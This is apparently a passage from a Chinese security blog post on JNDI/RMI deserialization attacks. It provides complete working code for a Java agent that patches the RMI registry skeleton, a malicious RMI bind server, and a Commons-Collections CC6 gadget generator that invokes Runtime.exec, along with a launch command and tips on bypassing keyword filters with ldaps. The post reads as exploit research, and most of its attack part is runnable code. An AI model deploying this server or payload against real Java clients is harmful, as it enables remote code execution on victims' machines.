                // 既然服务端说抛异常了,客户端就必须把这个异常对象反序列化出来,才能抛给上层调用者看。
                // 恶意服务端在这里发送恶意的 Gadget 对象,而不是真正的 Exception 对象。
                // 只要代码执行到这里,readObject() 就会触发 
                var14 = this.in.readObject();
            } catch (Exception var10) {
                // 如果反序列化过程中出错,丢弃剩余数据并抛出异常
                this.discardPendingRefs();
                throw new UnmarshalException("Error unmarshaling return", var10);
            }

            if (!(var14 instanceof Exception)) {
                this.discardPendingRefs();
                throw new UnmarshalException("Return type not Exception");
            } else {
                this.exceptionReceivedFromServer((Exception)var14);
            }
            
        default:
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
            }
            throw new UnmarshalException("Return code invalid");
    }
}

分析写在注释了,可以看到如果我们控制服务端去返回恶意的对象去触发到 case2 就会触发 var14 = this.in.readObject();

所以我们需要修改一下 rmi 服务端,这里用到 java agent ,如果熟悉那些 agent 内存马或者 rasp 的一定对这个不陌生

修改的部分主要有两个

  • RegistryImpl - 将 bindings 字段类型从Hashtable <String,Remote> 改为 Hashtable
  • RegistryImpl_Skel - 修改 dispatch 方法的 case 2,直接从 bindings 获取 Object 并返回

agent 部分代码

package com.rmi.agent;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class RMIAgent {
    // JVM 启动时调⽤
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("[+] RMI Agent started");
        inst.addTransformer(new RMIClassTransformer(), true);
    }

    static class RMIClassTransformer implements ClassFileTransformer {
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                ProtectionDomain protectionDomain, byte[] classfileBuffer) {
            if (className == null)
                return null;
            String normalizedClassName = className.replace('/', '.');
            try {
                // 修改 RegistryImpl
                if ("sun.rmi.registry.RegistryImpl".equals(normalizedClassName)) {
                    return transformRegistryImpl();
                }
                // 修改 RegistryImpl_Skel
                if ("sun.rmi.registry.RegistryImpl_Skel".equals(normalizedClassName)) {
                    return transformRegistryImplSkel();
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            return null;
        }

        // 修改 RegistryImpl 的 bindings 字段类型
        private byte[] transformRegistryImpl() throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.get("sun.rmi.registry.RegistryImpl");
            // 获取 bindings 字段
            CtField bindingsField = ctClass.getDeclaredField("bindings");
            // 修改为无泛型的 Hashtable
            CtClass hashtableClass = pool.get("java.util.Hashtable");
            bindingsField.setType(hashtableClass);
            System.out.println("[+] RegistryImpl.bindings type modified");
            System.out.println(" Original: Hashtable<String, Remote>");
            System.out.println(" Modified: Hashtable");
            byte[] bytecode = ctClass.toBytecode();
            ctClass.detach();
            return bytecode;
        }

        // 修改 RegistryImpl_Skel 的 dispatch ⽅法
        private byte[] transformRegistryImplSkel() throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.get("sun.rmi.registry.RegistryImpl_Skel");
            // 获取 dispatch ⽅法
            CtMethod[] methods = ctClass.getDeclaredMethods("dispatch");
            CtMethod dispatchMethod = null;
            for (CtMethod method : methods) {
                if (method.getParameterTypes().length == 4) {
                    dispatchMethod = method;
                    break;
                }
            }
            if (dispatchMethod == null) {
                throw new Exception("未找到 dispatch ⽅法");
            }
            // 新的⽅法体 - 完整替换整个⽅法
            String newMethodBody = 
                "{" +
                " if ($4 != 4905912898345647071L) {" +
                " throw new java.rmi.server.SkeletonMismatchException(\"interface hash mismatch\");" +
                " }" +
                " sun.rmi.registry.RegistryImpl var6 = (sun.rmi.registry.RegistryImpl)$1;" +
                " String var7;" +
                " java.io.ObjectInput var8;" +
                " java.io.ObjectInput var9;" +
                " java.rmi.Remote var80;" +
                " " +
                " switch ($3) {" +
                " case 0:" +
                " sun.rmi.registry.RegistryImpl.checkAccess(\"Registry.bind\");" +
                " try {" +
                " var9 = $2.getInputStream();" +
                " var7 = (String)var9.readObject();" +
                " var80 = (java.rmi.Remote)var9.readObject();" +
                " } catch (ClassNotFoundException var77) {" +
                " throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var77);" +
                " } catch (java.io.IOException var77) {" +
                " throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var77);" +
                " } finally {" +
                " $2.releaseInputStream();" +
                " }" +
                " var6.bind(var7, var80);" +
                " try {" +
                " $2.getResultStream(true);" +
                " break;" +
                " } catch (java.io.IOException var76) {" +
                " throw new java.rmi.MarshalException(\"error marshalling return\", var76);" +
                " }" +
                " case 1:" +
                " $2.releaseInputStream();" +
                " String[] var79 = var6.list();" +
                " try {" +
                " java.io.ObjectOutput var81 = $2.getResultStream(true);" +
                " var81.writeObject(var79);" +
                " break;" +
                " } catch (java.io.IOException var75) {" +
                " throw new java.rmi.MarshalException(\"error marshalling return\", var75);" +
                " }" +
                " case 2:" +
                " System.out.println(\"[!!!] RegistryImpl_Skel case 2 modified by Agent !!!\");" +
                " try {" +
                " var8 = $2.getInputStream();" +
                " var7 = (String)var8.readObject();" +
                " System.out.println(\"[*] Received lookup request: \" + var7);" +
                " } catch (ClassNotFoundException var73) {" +
                " throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var73);" +
                " } catch (java.io.IOException var73) {" +
                " throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var73);" +
                " } finally {" +
                " $2.releaseInputStream();" +
                " }" +
                " " +
                " Object $result = null;" +
                " try {" +
                " java.lang.reflect.Field bindingsField = null;" +
                " try {" +
                " bindingsField = var6.getClass().getDeclaredField(\"bindings\");" +
                " } catch (NoSuchFieldException e) {" +
                " bindingsField = var6.getClass().getSuperclass().getDeclaredField(\"bindings\");" +
                " }" +
                " bindingsField.setAccessible(true);" +
                " java.util.Hashtable bindings = (java.util.Hashtable) bindingsField.get(var6);" +
                " $result = bindings.get(var7);" +
                " System.out.println(\"[+] Got object from bindings: \" + ($result != null ? $result.getClass().getName() : \"null\"));" +
                " if ($result == null) {" +
                " throw new java.rmi.NotBoundException(var7);" +
                " }" +
                " } catch (Exception e) {" +
                " System.out.println(\"[-] Failed to get from bindings: \" + e.getMessage());" +
                " e.printStackTrace();" +
                " throw new java.io.IOException(\"Failed to get bindings\", e);" +
                " }" +
                " " +
                " try {" +
                " java.io.ObjectOutput out = $2.getResultStream(false);" +
                " out.writeObject($result);" +
                " System.out.println(\"[+] Returned object to client: \" + $result.getClass().getName());" +
                " break;" +
                " } catch (java.io.IOException var72) {" +
                " throw new java.rmi.MarshalException(\"error marshalling return\", var72);" +
                " }" +
                " case 3:" +
                " sun.rmi.registry.RegistryImpl.checkAccess(\"Registry.rebind\");" +
                " try {" +
                " var9 = $2.getInputStream();" +
                " var7 = (String)var9.readObject();" +
                " var80 = (java.rmi.Remote)var9.readObject();" +
                " } catch (ClassNotFoundException var70) {" +
                " throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var70);" +
                " } catch (java.io.IOException var70) {" +
                " throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var70);" +
                " } finally {" +
                " $2.releaseInputStream();" +
                " }" +
                " var6.rebind(var7, var80);" +
                " try {" +
                " $2.getResultStream(true);" +
                " break;" +
                " } catch (java.io.IOException var69) {" +
                " throw new java.rmi.MarshalException(\"error marshalling return\", var69);" +
                " }" +
                " case 4:" +
                " sun.rmi.registry.RegistryImpl.checkAccess(\"Registry.unbind\");" +
                " try {" +
                " var8 = $2.getInputStream();" +
                " var7 = (String)var8.readObject();" +
                " } catch (ClassNotFoundException var67) {" +
                " throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var67);" +
                " } catch (java.io.IOException var67) {" +
                " throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var67);" +
                " } finally {" +
                " $2.releaseInputStream();" +
                " }" +
                " var6.unbind(var7);" +
                " try {" +
                " $2.getResultStream(true);" +
                " break;" +
                " } catch (java.io.IOException var66) {" +
                " throw new java.rmi.MarshalException(\"error marshalling return\", var66);" +
                " }" +
                " default:" +
                " throw new java.rmi.UnmarshalException(\"invalid method number\");" +
                " }" +
                "}";
            dispatchMethod.setBody(newMethodBody);
            System.out.println("[+] RegistryImpl_Skel.dispatch modified");
            System.out.println(" - case 2: get Object from bindings directly");
            System.out.println(" - case 2: skip Remote type check");
            byte[] bytecode = ctClass.toBytecode();
            ctClass.detach();
            return bytecode;
        }
    }
}

RMIBindServer 部分

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.lang.reflect.Field;
import java.util.Hashtable;
import exploit.PayloadGen;

public class RMIBindServer {
    private int port;
    private String host;

    public RMIBindServer(String host, int port) {
        this.host = host;
        this.port = port;
    }

    public void start() throws Exception {
        System.out.println("[*] Starting RMI Bind Server");
        System.out.println("[*] Address: " + host + ":" + port);
        System.setProperty("java.rmi.server.hostname", host);
        // 创建 Registry(Agent 已修改 bindings 字段类型)
        Registry registry = LocateRegistry.createRegistry(port);
        System.out.println("[+] Registry created");
        // 创建恶意 payload
        Object payloadObject = createPayload();
        // 通过反射直接操作 bindings 字段
        bindObjectByReflection(registry, "payload", payloadObject);
        System.out.println("[+] Malicious object bound: rmi://" + host + ":" + port + "/payload");
        System.out.println("[+] Waiting for client lookup...");
        // 保持服务运⾏
        Thread.currentThread().join();
    }

    /**
     * 通过反射直接操作 bindings 字段,写入任意 Object
     */
    private void bindObjectByReflection(Registry registry, String name, Object obj)
            throws Exception {
        System.out.println("[*] Accessing bindings field via Reflection");
        // registry 就是 RegistryImpl 实例
        // 获取 bindings 字段(Agent 已修改为 Hashtable 类型)
        Field bindingsField = getField(registry.getClass(), "bindings");
        // 现在 bindings 是纯 Hashtable 类型,可以接受任意 Object
        Hashtable bindings = (Hashtable) bindingsField.get(registry);
        // 直接 put 任意对象
        bindings.put(name, obj);
        System.out.println("[+] Successfully put into bindings: " + name);
        System.out.println("[+] Object Type: " + obj.getClass().getName());
    }

    /**
     * 创建恶意 payload 对象
     * 这⾥可以是任意反序列化 Gadget
     */
    private Object createPayload() throws Exception {
        System.out.println("[*] Creating Malicious Payload");
        // 使用 CC6 触发 calc
        String command = "calc"; 
        Object payload = PayloadGen.getCC6Payload(command);
        System.out.println("[+] Payload created (CC6: " + command + ")");
        return payload;
    }

    // 反射⼯具⽅法
    private static Field getField(Class<?> clazz, String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException e) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }

    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("Usage: java -javaagent:target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar -cp target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar RMIBindServer <host> <port>");
            System.out.println("\nExample:");
            System.out.println(" java -javaagent:target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar -cp target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar RMIBindServer 127.0.0.1 1099");
            return;
        }
        String host = args[0];
        int port = Integer.parseInt(args[1]);
        RMIBindServer server = new RMIBindServer(host, port);
        server.start();
    }
}

GenPayload 部分

package exploit;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class PayloadGen {

    public static Object getCC6Payload(String command) throws Exception {
    System.out.println("[*] Generating CC6 Payload for command: " + command);
    
    final Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { command }),
        new ConstantTransformer(1) 
    };

    Transformer transformerChain = new ChainedTransformer(transformers);
    final Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) };
    final Transformer fakeTransformerChain = new ChainedTransformer(fakeTransformers);
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, fakeTransformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    HashMap outerMap = new HashMap();
    outerMap.put(entry, "bar");
    innerMap.clear();
    
    Field f = LazyMap.class.getDeclaredField("factory");
    f.setAccessible(true);
    f.set(lazyMap, transformerChain);
    
    return outerMap;
}

    public static Object getURLDNSPayload(String urlStr) throws Exception {
        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap ht = new HashMap();
        URL u = new URL(null, urlStr, handler); 
        ht.put(u, urlStr); 
        
        Field f = u.getClass().getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(u, -1);
        
        return ht;
    }
    
    static class SilentURLStreamHandler extends URLStreamHandler {
        @Override
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        @Override
        protected synchronized InetAddress getHostAddress(URL u) {
            return null; 
        }
    }
}

最后打包成 jar 用 -javaagent 参数启动

java -javaagent:target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar -cp target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar RMIBindServer 127.0.0.1 1099

image-20260215135052613

一些其他

过滤了 ldap rmi 关键字什么的情况下还能用 ldaps

JRMP 协议目前研究的还不是很多,感觉目前针对 JNDI 的研究快到尽头了,毕竟 jdk8 都无法常规利用了,更多还是结合其他第三方依赖去组合,留一些坑,这里改一改反射调用应该还是可以用到 jdk20? ldap 转 rmi 这里没写,如果之后有机会再补一些

参考文章

JNDI注入攻防全解析:从低版本RCE到高版本绕过分析

jdk8或许也要告别JNDI利用了

从ezldap看受限的高版本jdk环境下jndi攻击之ldap利用思路

最近跟jdbc有关的新知识——ldap篇

探索高版本 JDK 下 JNDI 漏洞的利用方法

如何巧妙构建“LDAPS”服务器利用JNDI注入

java-rmi反序列化